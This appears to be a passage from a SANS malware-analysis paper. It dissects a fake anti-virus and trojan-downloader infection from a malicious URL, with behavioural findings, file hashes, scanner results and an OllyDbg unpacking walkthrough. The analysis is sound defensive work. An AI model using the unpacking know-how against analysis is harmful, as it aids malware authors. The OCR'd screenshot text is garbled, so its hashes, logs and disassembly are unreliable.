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Abstract
Malicious PDF document files and malicious executables packaged as anti-virus have
become a popular malware-carrying medium. As this paper neared completion, a
well-crafted and rather advanced malicious PDF document exploiting CVE-2009-
4324 with a multi-staged shellcode was circulating while at the same time,
increasingly end users are tricked into installing and scanning their computers with
fake anti-virus software.

This paper presents both behavioral and code analysis over a blended threat with
PDF and fake anti-virus software payloads, simply starting from a click of a URL. It
describes a controlled test environment set up for malware analysis, required tools,
methodology and findings. In the section of binary analysis over fake anti-virus
software payload, unpacking techniques and code reverse engineering will be
demonstrated and uncover some hidden artifacts. For the malicious PDF analysis, a
progressive unpeeling of protection approach will be carried out via deobfuscation.

To conclude, PDF malware and fake anti-virus software enhance the chance of
success via stealthy code execution and social engineering tricks. We discuss
challenges and solutions to deal with fake anti-virus software and PDF malware
from file integrity check, operating system and software security configuration
perspectives.
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Introduction

At the Malware Domain List web site (Malware Domain List, 2009) simply input
“PDF” in the search box, and a number of malicious sites marked with “PDF Exploit” are
listed. This reflects how popular malicious PDF files are as a malware carrier currently. It
is difficult for end users to realize that popular sites and PDF files sent by friends may
actually be infected with shellcode and exploits. Besides PDF malware, fake anti-virus
software is also popular as a payload downloaded to victim machines luring end users to

voluntary click to scan their computers, installing a malicious executable payload.

As the chosen sample contributes to a blended malware threat, once end users
click on the malicious links that could be stored in forums, advertisements, adult content,
free software, Internet auction and social networking portals or sent via email and instant
messaging, multiple payloads could be downloaded to the victim’s workstation. Once
infected, to maximize the chance of success, the attacker packages the malicious
executable payload as free anti-virus software, prompting end users that the software has
detected that their machines are infected with several high-risk viruses and worms,
suggesting end users that a free scan may eliminate the threat. Falling for a social
engineering attack such as this and following the attacker’s instruction will often result in
the download of other malicious software. This social engineering attack can result in a
user giving their personal information to attackers and putting themselves at greater risk.
Also, once the application is installed on their computer, it is typically very hard to
remove the unwanted software. The application pop-ups (anti-virus, firewall or security)
that take place is typically the last part of the chain of events. In this paper, infection path
and behavioral analysis, unpacking and code reverse engineering against the malicious

executable will be collaborated.

The second vector analyzed is a PDF malware. We have seen many Zero-Day
exploits being carried by documents. As keylogger, sniffer, Trojan downloader and
backdoor are increasingly detected and quarantined by current security products attackers
have adapted. They have changed their threat carrier to be stealthy and undetectable by

end users and PDF have become the target of preference. The reason attackers prefer
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PDFs as the exploit carrier is because it is easy to thwart PDF parsing PDFs can have
various types of metamorphism including embedding a PDF file into another PDF file;
PDF file can be split into many files referring to each other; PDF objects can be
embedded into a compressed stream object; Strings in the PDF file could be encoded in
different ways including ASCII, octal, hexadecimal and in different charsets; Streams can
be compressed with many cascaded algorithms, objects can appear in the file in any
order. The most challenging part is that malicious code and script could be easily hidden
in the PDF file and cannot be detected easily by various anti-virus and malware sandbox
websites (Raynal & Delugre, 2008). More often than not, PDF malware will include
multiple payloads and exploits to maximize the chance of success. This evasion

technique presents significant challenges to malware analyst.

To improve the art of malware analysis, more collaboration between researchers
would be required. Our intention is starting from the basic and behavioral analysis once a
chosen malicious site is visited, carry out code reverse engineering over the executable
payload, extract and analyze the PDF payload from the behavioral and static code
analysis perspectives, which will help facilitate a thorough understanding how the entire

chained threat, malicious executable payload and PDF malware work.

This paper is written with the expectation that the readers have a basic
understanding of the usage and purpose of the tools utilized, programming logic and the
basic configuration of a virtual environment. For PDF malware analysis, readers are
expected to understand the header and section structures of PDF file (Adobe Systems Inc,

2000, 2001)(Stevens, 2008).
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1. Lab Setup

1.1. Controlled Test Environment Setup
The analysis was conducted with the following environment set up for the host

system and guest system in a virtual environment.
Host System

o Operating System: MacOS 10.6
o Network: Internet connectivity in NAT mode
o Hardware
®  Processor Name: Intel Core 2 Duo
=  Processor Speed: 2.66 GHz
®=  Number Of Processors: 1
= Total Number Of Cores:2
= L2 Cache: 3 MB
=  Memory: 4 GB
=  Bus Speed: 1.07 GHz
o Virtual Machine Software: VMWare Fusion (Version: 2.0.6)

Virtual Guest System

o Operating System: Windows XP SP2 English

o Network: Internet connectivity in NAT mode

Controlled Environment and Principle

To establish a strict cause and effect in the absence of certainties, we will set up a
controlled environment. A clean virtual environment image snapshot is taken
before malware execution to capture relevant and reliable findings. Furthermore,
before and after malware analysis, all the payloads and samples should be
archived and protected with a password to prevent accidental escape or accidental
triggering. As other payloads will be downloaded from the Internet, it is required
to safeguard both incoming and outgoing network connection to prevent possible

mass infection.
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1.2. Required Tools

1.2.1. Registry, Process and Network Monitoring
To perform a comprehensive study on the infection path, tools for monitoring and
recording any changes in registry, network traffic, processes and file system are crucial to

malware analysis.

e Regshot (TianWei, 2008)is a small registry compare utility that allows you to

quickly take a snapshot of your registry and then compare it with a second one.

e Process Explorer (Russinovich, 2009) finds out what files, registry keys and
other objects processes have open, which DLLs they have loaded, and more. This
powerful utility will even show you who own each process.

e Capture BAT (The Honeynet Project New Zealand Chapter, 2007) is a
behavioral analysis tool for applications in the Win32 operating system family.
Capture BAT is able to monitor any state changes of a system during the
execution of applications,

e Network Miner (Hjelmvik, 2009) is a Network Forensic Analysis Tool (NFAT)
for Windows that can detect the OS, hostname and open ports of network hosts
through packet sniffing or by parsing a PCAP file. Network Miner can also

extract transmitted files from network traffic.

1.2.2. Packer Detection, Disassembler and Debugger

The following tools were used for binary code analysis and reverse engineering:

e DUMPBIN (Microsoft, 2009) provides information about the format and symbols
provided in the executable, library, and DLL files.

e PEID (Jibz, Qwerton, snaker & xineohP, 2009) detects most common packers,
cryptors and compilers in the PE file. The Portable Executable (PE) format is a
file format for executables, object code, and DLLs, used in 32-bit and 64-bit
versions of Windows operating systems. The term "portable" refers to the format's

versatility in numerous environments of operating system software architecture.
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The PE format is a data structure that encapsulates the information necessary for

the Windows OS loader to manage the wrapped executable code.

e |DA Pro Disassembler (Hex-Rays, 2009), a disassembler commonly used for
reverse engineering. It supports a variety of executable formats for different
processors and operating systems. It also can be used as a debugger for Windows

PE, Mac OS X Mach-O, and Linux ELF executables.

e OllyDbg (Yuschuk, 2009) is a debugger that simplifies binary code analysis,
which is useful when source code is not available. It traces registers, recognizes
procedures, API calls, switches, tables, constants and strings, as well as locates

routines from object files and libraries.

1.2.3. PDF Analysis Specific
The following tools are specifically for PDF analysis. The functions of those tools
cover analysis of PDF file header, extraction and identification of PDF components,

decoding and decompression.

e PDF Parser (Stevens, 2009a) extracts key elements of the PDF file without
rendering it and it could decompress the data streams.

e PDFiD (Stevens, 2009b) identifies PDFs that contain strings associated with
scripts and actions.

e QOrigami (Delugre, 2008) is a Ruby framework for parsing, analyzing,
modifying, and creating PDF files.

e Wepawet (UCSB Computer Security Lab, 2009) can automatically analyze some

aspects of malicious PDF files.

1.2.4. Script Debugger and Deobfuscation
e Malzilla (Spasic, 2009). can extract and decompress zlib streams from PDFs,
and can help deobfuscate JavaScript.
e Microsoft Script Debugger (Microsoft, 2005) could support character-based
debugger so as to overcome the anti-debugging capability of malicious script

function.

Anthony, Cheuk Tung, LAI, Oxdarkfloyd@gmail.com 7

© 2010 The SANS Institute Author retains full rights.



Comprehensive Blended Malware Threat Dissection

1.2.5. Automatic Malware Scanner

e VirusTotal (Hispasec, 2009) can scan files with multiple anti-virus tools to

identify malicious files.

e ThreatExpert (ThreatExpert, 2009) can provide automatic malware and virus

scan.
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2. Analysis
2.1. Methodology

To begin with, we have picked a recently reported malicious site from the Malware
Domain List portal, after performing a keyword search for “PDF”, we find a PDF
malware that was reported on 13 Dec 2009 and hosted at http://izediotia.info/cgi-bin/ae.

This site was taken down on 21 Dec 2009. The reason of choosing this malicious site is
because it exhibits a comprehensive infection path and contributes popular malicious

payloads including fake anti-virus and PDF files to our analysis.

For our approach, we not only analyze malicious PDF document but also dissect the
entire infection path and executable payload after clicking into the malicious site. We will

break down our analysis into two major phases:

1. Infection Path and Executable Payload Analysis — After visiting the site, any
changes, additions and deletions of registry entries, processes, files and network
traffic will be recorded. Deobfuscation of script will be conducted to understand
how the code functions. As the executable payload is downloaded from the
malicious site, we will unpack the executable and reverse the code to uncover

any artifacts and dormant logic that do not show up in behavioral analysis.

2. PDF Malware Analysis - This phase focuses on analyzing the malicious PDF
file. We open the malicious PDF file with Adobe PDF reader and let it do its
dirty job. The behavior is recorded and analyzed postmortem. Rendered with a
PDF reader and its behavior will be recorded and analyzed. Afterwards, we
carry out intensive analysis and multiple rounds of code deobfuscation and
debugging activities, uncovering the purpose of the script embedded in the PDF
file.

2.2. Preparation
" If you don't go into the cave of the tiger, how are you going to get its cub?”

(Chinese-Tools.com, 2008)
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Before visiting our targeted malicious site, we started off with a clean slate
including snapshot a clean Windows XP SP2 image in a VMWare environment, start
Process Monitor, Process Explorer and Capture BAT to monitor any modification in
processes and files, taking a registry snapshot with Regshot and finally execute a
Network traffic monitoring tool called Network Miner which could monitor the

established sessions and extract any suspicious payloads.

2.3. Infection Path Analysis

2.3.1. Walkthrough the infection path

Once the site is loaded, in Process Explorer, a ¢/Spackxq.exe process immediately
started as a parent process and there is a child process called wscsve32.exe initiated under
it. After a minute, a box suggesting user to download Anti-Malware pops up. Without
clicking into it, it alerts and warns user within regular time interval that the workstation
has been infected with different types of worms and Trojans. If the user chooses to reject
the installation request and pop-up, it will start the installation without user authorization.

(Figures 1 and 2)

Security Center X |

Use AntiMalware to remove viruses,
spyware, adware, trojans, rootkits,
worms, information stealers, keylog-
gers, bots, and other form of mali-
clous threat that may reside on your
PC.

=
-

-
-—
-

-~
————
——
-

—
-
——

5 <

e~

Donwload FREE scanner now!

Figure 1: A pop-up box to download a FREE anti-malware scanner
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*l T |
| gaanuvialware

=

LICENSE AGREEMENT

IMPORTANT: PLEASE READ ALL THE TERMS AND CONDITIONS OF THIS LICENSE
AGREEMENT CAREFULLY BEFORE USING THE ANTIMALWARE BY
GUARDSOFTWARE LIMITED AND/OR ITS SUBSIDIARIES IS WILLING TO LICENSE
THE SOFTWARE TO YOU AS THE INDIVIDUAL, THE COMPANY OR THE LEGAL
ENTITY THAT WILL BE UTILIZING THE ANTIMALWARE
(REFERENCED BELOW AS "YOU" OR "YOUR") ONLY ON THE CONDITION THAT
YOU ACCEPT ALL OF THE TERMS OF THIS LICENSE AGREEMENT. THIS IS A LEGAL
AND ENFORCEABELE CONTRACT BETWEEN YOU AND GUARDSOFT, LTD BY
CLICKING ON THE "AGREE" OR "YES" BUTTON OR OTHERWISE INDICATING

v

Installation progress

Comprehensive

computer protection

(TITITIIT

Downloading virus definition databases...

Figure 2: The Anti-Malware is automatically executed without user interaction

2.3.2. Registry

Comparing the pre-infection state with the output of Regshot (Figure 3), a registry

entry has been added for ¢/spackxq.exe (Figure 4). In addition, ¢/spackxq.exe,

ahdhtrdhdrtrby and wscsve32.exe are added under C:\Documents and

Settings\malware\Local Settings\Temp.

Files added:38

:\Documents
:\Documents
:\Documents
:\Documents
:\Documents
:\Documents
:\Documents
:\Documents
:\Documents

OO0 0O00O00

and
and
and
and
and
and
and
and
and

Settingsimalwareilocal
SettingsimalwareiLocal
SettingsimalwareiLocal
Settingsimalwareilocal
Settings'malwareilocal
SettingsimalwareiLocal
SettingsimalwareiLocal

Settings\Tenp\H3SRTdebe.. tp

................

------------------

Settings\Temporary Internet Files\Content.IES\KSMEGKIK\qe,

Figure 3: Regshot Output

For more detailed analysis on changes of process, registry and file, we could refer

to the findings from Capture BAT (Figure 4). With reference to the figure shown below,

Anthony, Cheuk Tung, LAI, Oxdarkfloyd@gmail.com 11

© 2010 The SANS Institute

Author retains full rights.



Comprehensive Blended Malware Threat Dissection

eabe.exe is the process that creates the c/spackxq.exe file under 7emp folder. eabe.exe
also set the value of registry of Anti-Virus notification of Microsoft Security Center in

victim machine and assign ¢/Sapckxq.éxe runs every time when victim’s Windows starts.

"16/12/2008 18:34:43.825", "process”, "created”, "(:\Documents and Settings\molware\locgl Settings\Terp'eche.exe”, “(:\WINDOWS\systen3Z\net . exe
"16/12/2008 18:34:43.794", "registry”, "SetValueXey” , "(:\Doaments ond Settings\molware\locol Sett m;s\Tem\ed:e exe” , "HKLM\SOFTWARE \Microsoft\Security (enter\AntiVirusDisobleNotify”
"16/12/2000 18:34:44.44" "process”, "crected”, "(:\Documents ond Settings\malware\locsl Settings\Tesp'edbe. eme 1 \ﬂLmS\systesﬁZ\sg,_e_xg

"16/12/2000 18:34:44.185","File","Write","(:\Doauments and Settings\molware\locol Settings\Terp\eche

"16/12/2080 18:3‘:44.122'.'.‘i1e’,'Wite','(:\Docu\eerts ond Settings\malware\locol Settings\Terp
"16/12/2000 18:34:44.122" "File","Write","(:\Doaments and Settings\molware\locol Settings\Terp\
"16/12/2000 18:34:44.122" “File", "Nrite","(:\Documents and Settings\molware\locgl Settings\Terp
"16/12/2000 18:34:44.138" "File","Write","(:\Doaments aond Settings\molware\locol Settings\Terp\
"16/12/2000 18:34:44 138" "¢ , "Nrite®,"(:\Doaments aond Settings\malware\locol Settings\Terp)
"16/12/2008 18:34:44,138" "File ,'Wite','(:\Doo:\eats and Settings\molware\locol Settings\Terp'
"16/12/2000 18:34:44.138" "File","Write","(:\Doaments and Settings\malware\locol Settings\Terp\
"16/12/2000 18:34:44.153","File", "Nrite","(:\Doaments and Settings\molware\locol Settings\Terp “C:\Doauments and Settings\ralware\locol Settings\Tesp\clspo
"16/12/2000 18:34:44.153","File","Write”,"(:\Doaments and Settings\molware\locol Settings\Terp\ e”,"C:\Documents and Settings\ralware\locol Settings\Tesp\clspo
"16/12/2000 18:34:44.153","File", "Nrite", "(:\Doauments and Settings\molware\locol Settings\Terp\ecbe.exe”, "(:\Docurents and Settings\malwore\locol Se-tgrgs\Tup\clsgooo&q

"16/12/2009 18:34:44.169" "registry”, Se-\falue&ey "C:\Doasments ond Settings\molware\locol Se‘tmgs\Tem\@ggg,_g;e_ HEU\So‘m‘ercrosof‘\Imdons\(u"ent\‘eeswr\&n\clspcckxg exe”

’(:\Doaa'e'rts and Settings\nalware\locol Se xrgs\Te'p\.’ls )
“C:\Doauments and Settings\ralware\locol Settings\Tesp\clspo
“C:\Documents and Settings\ralmare\locol Settings\Tesp\clspo
“C:\Documents and Settings\nolwmare\locsl Settings\Tesp\clspo
e”, "C:\Dourents and Settings\molwmore\locsl Sestings\Tesp'clspo
", "C:\Docurents and Settings\rolware\locol Sestings\Tesp\clspo

Figure 4: Capture BAT Output

2.3.3. Process

Once the malicious payloads are planted into the system and registry entries are
added, processes c/Spackxq.exe and wscsve32.exe are executed. We find that
wscsve32.exe is a child process of ¢/spackxq.exe (Figure 5).

i note;nad.exe 3124 Note;aad Microsoft Cor;:ioration
om0 ooy ot e i
L
< | &

N CPU Usage: 1.54%  Commit Charge: 9.86% Processes: 31

Figure 5: Two suspicious processes are created.

2.3.4. Network Traffic and File System

For more in-depth network analysis, we have used Network Miner, which helps
dissect the protocol, showing the session establishment sequence (Figures 6) and
permitting the extract of files from network traffic in a user-friendly fashion (Figure 7).
Furthermore, using Network Miner, we can obtain the malicious host information (Figure

8).
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Figure 6: The session establishment sequence once clicking into malicious site
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Figure 7: Payloads download sequence and file extraction
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Figure 8: Information about the host that contributes to malware outbreak
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From the Network Miner output in Figure 7, we extract Sefup.exé and

Setup1.exe.that were being transmitted over the wire. Here are the characteristics of the

samples:
Payload Characteristics
Setup.exe File size: 671,744 bytes

File MD5: 0xE702759DC1073A591B05458F5D754077
File SHA-1: 0x898BBB58AE24EEE0615B85452F5FD269F6957024

Setup0O1.exe File size: 70,144 bytes
File MD5: b682e¢6059a767dc81929d8fbee53d0ba
File SHA1: 4711491821¢33a7f0819b27c6a3d248af162e212

We have submitted Séfup.exe and Setup07.exe to ThreatExpert and VirusTotal.
for automatic malware scanning. It shows that Setup.exe is a fake Anti-virus payload and
SetupOl.exe is a Trojan Dropper which is a trojan dropper is usually a standalone
program that drops different type of standalone malware. It would be beneficial to
incident response team to learn the characteristics and behavior immediately from
automatic malware sandbox so as to response to the threat including virus definition
update and vulnerability patching. The executables are identified to be fake anti-virus

malware and Trojan Downloader respectively.
e Analysis of Setup.exe

o VirusTotal Analysis:
= http://www.virustotal.com/analisis/eb7aa34b8cc4{t65f2c87e85d0cc32
5658e5af33b4675d123b015ele6186a5b7-1262187931

o Threat Expert Analysis:
= http://www.threatexpert.com/report.aspx?md5=e702759dc1073a591b0
545815d754077

e Analysis of Setup01.exe

o VirusTotal Analysis:
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© 2010 The SANS Institute Author retains full rights.



Comprehensive Blended Malware Threat Dissection

= http://www.virustotal.com/analisis/04b9e¢89898ed5a7b415¢1725e9b1f
4bcclel24ba9afa805ba359cealbd417471-1262196400

o Threat Expert Analysis:
= http://www.threatexpert.com/report.aspx?md5=b682e6059a767dc8192
9d8fbee53d0ba

Once Sefup.exe is executed automatically without user interaction, from the trace
output of Capture BAT, we found that four different files are created under
C:\Documents and Settings\malware\Local Settings\Temp, which match the scanning
report from ThreatExpert.The created files are shown in Figure 9. In fact, dhdhtrdhdrirby
is the backup file of ¢/spackxq.exe.

™ clspackxq.exe 656 KB Application
= dhdhtrdhdrteSy : 656 KB File

) wscsve32.exe 513KB Application
¥ Installer.exe 93 KB Application

—

12{16/2009 6:34 PM
12{16/2009 6:34 PM
12/16/2009 6:34 PM
12/16/2009 6:46 PM

© 2010 The SANS Institute

Figure 9: Downloaded payload in file system

We would like to summarize the payload characteristics with the following table:

Payload Filename Characteristics
Clspackxq.exe File size: 671744 bytes
and dhdhtrdhdrtrSy

MD5: 70f6b2522ecf2e51b98e737fdb3cf81e

Wscsve32.exe File size: 524800 bytes

MDS5: e5d537b5a8d02539a1b75e2197eal Sdf

Installer.exe File size: 94720 bytes

MD5: 38¢5da007e2394¢c965¢8ebcdb7056836

wscsve32.exe and installer.exe are identified as Trojan and fake anti-virus

software by various brands of anti-virus vendor through VirusTotal sandbox. (Figure 10)

For clspackxqg.exe, it is submitted to ThreatExpert for automated scanning. It
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reveals that the value of AntilVirusNotifyDisable of

[HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Security Center] is set to empty.
In addition, it creates registries under [HKEY CURRENT USER\Software\Mozilla].
These results cannot be found from using Regshot and Capture BAT. The detailed
automated scan analysis can be found from this URL:
http://www.threatexpert.com/report.aspx?md5=70f6b2522ecf2e51b98e737fdb3cf
8le
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D3 Torat LE] [s ] [ [nrw]
File wscsve32.exe received on 2009.12.28 18:57:37 (UTC)
Antivirus Version Last Update |[Result
a-squared 4.5.0.43 2009.12.28 |Packed.Win32.Tdss!IK
AhnLab-V3 5.0.0.2 2009.12.28 |-
AntiVir 7.9.1.122 2009.12.28 |TR/Spy.524800.3
Antiy-AVL 2.0.3.7 2009.12.28 |Packed/Win32.Tdss.gen
Authentium 5.2.0.5 2009.12.28 |-
Avast 4.8.1351.0 2009.12.27 (Win32:Jifas-CM
AVG 8.5.0.430 2009.12.28 |Win32/Cryptor
BitDefender 7.2 2009.12.28 |Gen:Trojan.Heur.GyO@vTdBlgmkx
CAT-QuickHeal 10.00 2009.12.28 [Trojan.TDSS.aa
ClamAV 0.94.1 2009.12.28 |-
Comodo 3394 2009.12.28 |UnclassifiedMalware
DrWeb 5.0.1.12222 2009.12.28 |[Trojan.DownLoadl.16793
eSafe 7.0.17.0 2009.12.28 [Win32.GenHeur.Gy@vTd
eTrust-Vet 35.1.7202 2009.12.28 |[Win32/Skintrim.IL
F-Prot 4.5.1.85 2009.12.27 |-
F-Secure 9.0.15370.0 2009.12.28 |Gen:Trojan.Heur.GyO@vTdBlgmkx
Fortinet 4.0.14.0 2009.12.28 |-
GData 19 2009.12.28 [Gen:Trojan.Heur.GyO@vTdBlgmkx
Ikarus T3.1.1.79.0 2009.12.28 |Packed.Win32.Tdss
Jiangmin 13.0.900 2009.12.28 (Packed.Tdss.anlx
K7AntiVirus 7.10.932 2009.12.28 [Trojan.Win32.Malware.l
Kaspersky 7.0.0.125 2009.12.28 (Packed.Win32.TDSS.aa
McAfee 5845 2009.12.28 |FakeAlert-FQ
McAfee+Artemis 5845 2009.12.28 |FakeAlert-FQ
McAfee-GW-Edition 6.8.5 2009.12.28 |Trojan.Spy.524800.3
Microsoft 1.5302 2009.12.26 ([Trojan:Win32/FakeCog
NOD32 4723 2009.12.28 ([Win32/Adware.CoreguardAntivirus
Norman 6.04.03 2009.12.28 |W32/TDSS.AFD
nProtect 2009.1.8.0 2009.12.28 |Trojan/W32.TDSS.524800.D
Panda 10.0.2.2 2009.12.15 |Adware/SystemGuard2009
PCTools 7.0.3.5 2009.12.28 |RogueAntiSpyware.AntiVirus2008
Prevx 3.0 2009.12.28 |Medium Risk Malware
Rising 22.28.00.04 2009.12.28 [Packer.Win32.Obfuscator.r
Sophos 4.49.0 2009.12.28 |Mal/TDSSPack-Q
Sunbelt 3.2.1858.2 2009.12.27 |Packed.Win32.TDSS.aa.l (v)
Symantec 1.4.4.12 2009.12.28 |-
TheHacker 6.5.0.3.115 2009.12.28 |-
TrendMicro 9.120.0.1004 2009.12.28 |TROJ FAKECOG.AC
VBA32 3.12.12.0 2009.12.26 |[Trojan.Win32.AntiAV
ViRobot 2009.12.28.2111 2009.12.28 |-
VirusBuster 5.0.21.0 2009.12.28 |[Trojan.Fraudload.Gen!Pac.12

2.3.5. Summary

Figure 10: Automatic Sandbox Scan Result on wscsve32.exe

From the above behavioral analysis, it gives an overview how the infection works

and analysis are covered in registry, process, network and file system with manual and
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automated approaches. After, the payload is executed, it download Trojan downloader

and install fake anti-virus software to the victim’s workstation.

2.4. Code Analysis and Deobfuscation

2.4.1. Static Code Analysis on clspackxq.exe
In this section, apart from the behavioral and automatic sandbox analysis, it would
be worthwhile to discover some hidden artifacts from the executable payload called

clspackxq.exe with IDA Pro disassembler.
Unpacking and Obtain Original Entry Point (OEP)

No packer is found in ¢/spackxq.exe in PEiD (Figure 1), however, once we click

the LZZ4 button the entropy value (Lyda & Hamrock, 2007) indicates that is likely

packed (Figure 2). For more detailed analysis including inspecting file dependencies,
DUMPBIN can parse a suspect binary to provide information about the file format and
structure, embedded symbolic information, as well as the library files required by the

program (Aquilina, Casey & Malin, 2008).

5 PEID v0.94

File: | ents and Settings\malware\Desktop\Malware_Sample\clspackxg.exe | ... |

Entrypoint: 00001000 EP Section: | CODE >

File Offset: | 00001000 First Bytes: |55,51,0F,86 | > |

Linker Info: 6.0 Subsystem: | Win32 GUI _ _:;»_J

Mothing Found [Overlay] *

‘ Muiti- Scan | Task Viewer | | dptions ‘ About | | .—Exit

IV Stay on top % | -5
Anthony, Cheuk Tung, LAI, Oxdarkfloyd@gmail.com 18
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Figure 1: PEiD — Nothing is found on packer information

FileName: | nts andIét'tiﬁgsiméiwareiDé;s'l&bbIMéiware;ﬁémblrér'l,clépack}tq.exe
Detected: | Mothing found [Overlay] *
Scan Mode: Mormal -
Entropy: | 7.97 (Packed)

EP Check: | Mot Packed

Fast Check: | Not Packed

I

oK

Figure 2: The entropy is identified as “Packed”

When c/spackxq.exe is loaded into IDA Pro disassembler, it displays that it is

packed and most of the functions could not be disassembled (Figure 3).
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[5) IDA - C:\Documents and Settings\test\Desktop\clspackxq.idb (clspackxq.exe)
File Edit Jump Search View Debugger Options Windows Help

|S@| -~ ||[hid B 1 || ] ol #|| = # X|
BEeBE YHAS -H| PRN || ST vE@E| 2e|
| BRoEn | | Eo g "' e NX|| - #- SHKi~=~ F| : s 2| AAFALAEZ
| el S A ) R AR Lo | ol A || B30 | Bt R tn i
|BHSFRB| £ AA
L o
7] Functions window S5 B3 s Views |7 B HexViewa |61 & Stuctures [C1En Enums fi::lE% Imports |7 5B Exports
Function name Segment ‘ CODE segment para public *CODE' use32
N~ | assume cs:CODE
"E:Stagaumu Eggi 2org. AU
;ﬁsu- assume es:nothing, ss:nothing, ds:CODE, fs:nothing,
¥ sub_4010B9 CODE
M sub_401154, CODE
M sub_4012C7 CODE
) sub_401737 CODE public start
#nullsub_1 CODE start proc near

var_8= dword ptr -8

push ebp

push ecx

movzx  ecx, al

pop ecx

push edi

push ebp

movzx ebp, dl

pop ebp

xor eax, eax

push edx

mouzx edx, cl

pop edx

mov [esp+8+var_8], esi

jmp loc_406134E

start endp
&1 il | (2] & Il
Line 1 of 7 100,00% (-146,426)  (897,49) 00001000 00401000; start

Figure 3: Code is packed

To unpack the executable, Original Entry Point (OEP), which is a point where the
program has been decoded and unpacked successfully, should be obtained. In our
analysis, we located OEP with ESP Rule/Trick (or called Stack Pointer Rule)
(McReynolds, 2008). The principle of ESP Rule/Trick is defined as to ensure the original
executable executes correctly, most packers will restore the stack level (referred to as
ESP for Intel IA32 processors) to the original value when the packer codes start to
execute.

Firstly, loading the sample into OllyDbg, we press F8 (Step Over) twice.
Afterwards, once first two pushes are stepped over, a hardware breakpoint is set on ESP
register (Figure 4). That means the program will be interrupted upon any changes in ESP

register.
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w0 3 08 T “Jhosiesecs TF0) € ¢ ¢ <
oLl 51 push __ ec

13
[ 001501 002 ST Jxovzz ey al |
0] a0y pop ecx
) 6| . 82 push edi i YRS
. 5 push ekp 401 2FFIN
FDGEA sovez by, dl rhA-
B pop ebp STRFEEET
. 3300 xor eay, eax
Bl . 82 push edy 3 &
. OFBED1 zavzx  eds, cl IF 00401002 < lapackx
SA il

Command § * 0 =

Figure 4: Setting Hardware Breakpoint

After clicking the F9 button (Run) twenty times in OllyDbg, scrolling the screen
downward, a CALL to the function at 00401E90 is found at address 00407479, we set a
breakpoint there and press F9 until stop at 00407479. Next, the breakpoint is removed
and we press F7 to step into the function at 00401E90 (Figure 5). The reason to examine
this function is because there is a long jump in stack from high memory address at
00407479 to lower memory address at 00401E90, it would be possible that unpacking
operation has completed, hitting the Original Entry Point (OEP) of the program.
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T4 EAZDO000
A3 93204100
£8 13280000

[41209€], eax : E&X oooox
00409F51 = 0¥ 0012FF78

EERE

E8 55240000 00409898 DX TCOZBBSA ntdll. KiFastSyetemtal 1Ret
E8 A40D000D 004081EC o Thatagoo e SysteCal I
8975 DO i SP 0012FFBC
BD45 A4 lea cax, BE 0012FFCO
50 eax EST FFFFFFEF
0 FF15 10E14000 [40E110] kernel32. GetStartupIy: | D1 70950734 ntdll, 70930738
00407455 EB E6290000 | 00409E40 i LY
O0407454| 8945 9C L ov . EIP 00407385 <lspacky. 00407385
0| Fed5 DO 01 est C 0 ES 002337
T 6 3o short 00407453 PO S 001
movzy  eax, A0 88 002
Jop  short 0040746C 30 DS 000
push 04 S0 ¥S 0038 32
pop cax T 0 GS 0000 M
pt: cax Lo
p dword ptr [abp—64] ) O Lagt ERROR FILE MOT FOLND (00000002 )
Foverd i astfrr ERROR_FILE ] .J. ol
§ EFL 00000202 (N0, NE, NE, A, NG, PO, CE, G)
ﬁ kernel 32, GetNodul el ) espty —UNORN BCEO 01050104 0O4FO0EC

copty +UNDRY 0065 00T
eopty *UNDRN 0069
eapty O, QOOO00000000
erpty 0.9

v 0.0

.....

RETURN to kemel32,
3intdll, TC950738

TCALED4F

Finally, we have reached an address 00401E90 but it does not show any assembly code.
In the page, we simply right click and choose “Analysis” and then “Analyze Code” as

shown below figure.
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nod x]
©] File Yiew Debug Phugine Options Window Help

[Registers (FPU)

ST7

TERREEE Y

it O(FFFFFFFF)
it O(FFFFFFFF)
it O(FFFFFFFF)
) FEFFFFFF)
it TFFDFOO0(FFF)

GE, LE)
004F

ESPILQZ

Paused | @]Wl Bl ] ] '!»?I'li'rf@ oD EEEEE R
db 31 -
db . Backup > -
db 0 Copy »
db 0 Binary »
.%y \? Modify byte
db U Asemble Space
db B bel .
db Gl CHAR * ¢’
db f Comment ;
db ' Breskpoint >
db F Hittrace >
db % Runtrace >
db a
db T > CHAR *u = 1
X)) db t. Follow in Dump 4 CHAR ° 8 7
00401E9F ES db E = ; g
00401ERO|  2C db | CHAR °,’ T
00401EA1 16 db | on b g D0
00401EAZ 00 db 0 Vv ’ a0
00401EAS 00 db (1 Copy fo executable X 5
00401EA4 85 db 3 M| As de .
00401EAS Co db g S Remove analysis from #$dule
004 01 EA6 74 db 7 2vd e ¢ Scan object files Ctel+O
00401BAT OE db O FrabTek ¢ Remove object scan from module
00401EA8 E8 db E EFRE 4
00401EAS 93 db 9 Remove analysis from selection BkSpe
goeoitaal Lo dh 1 (EARAAD) > Duting next analysis, treat seoction as ,
et I Lo temmmEe).
l:II:K:lI:ﬂ F‘t‘:TJ\ 20 :n: o %;':psm process 4 =
1] eference
Address |Value Comment 0040747E
oS e pa ot flrcoc e e od Appearance » 00400000
10 00000000
00141F1C

RETURN to clspackx. 004074YE from clspacks.
clspackx. 00400000

30738 |ntdll. TC930738
FFFFFFFF
TEFDAOOO
TC801BF&

L E R L el

RETUEN to kernel32. TC801BF6 from kernel32. |

Zommand |hr esp

;] HR address -- HW break on access

Figure 6: Analyze Code

A disassembled code page is displayed and 00401E90 is probably an Original Entry

Point. We simply dump the debugged process from OllyDbg as unpacked executable and
load it in IDA Pro Disassembler. (Figure 7)
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Bl Tow cResg i oter | Opfins~ Niskye

I 0 0 s S S

ES 6SFCFFFF |eall 00401890 m

. 85C0 1est eax, cax

. 15 53 jnz short 00401EF2
ES 20160000 &8k 00403400 ERK TR

. 8%C0 test eax, eax P GO12FF33

- 19 0F is 0040185 L TFFi
E3 93140000

. 85C0 test

. 14 05 Jje PSR A

. I3 GAFFFFFF | Esll P 00401ER

> E8 OSFTFFFF |esil 0

. E3 AOFCFFFT |call 00401850 P 1
804424 00 lea =ax, [=z0d i
50 push eax jfrutfer T 1 DS 0023 3Zbit OCFFFRFEFE
§3 04010000 |push [ 104 (260.)
FF15 ECE0400( sull [40E08C] jetTeapPathA
804C24 00 lea ecx, 18Sg
68 BO104100 |push 00411080 3 vdd = "elspackyq, exe”
%1 push ecx [ 15tring
FF16 4E804001 Sall [40E043] latreatd
805424 00 lea edy, [E8p] !
52 push edx y
£9 S6FTFFFF | calll 00401CT0 ¥
83Ce 04 add esp, 4
E3 ZEFFFFFF |call 00401E20
E9 EOFEFFFF | call 004010€0
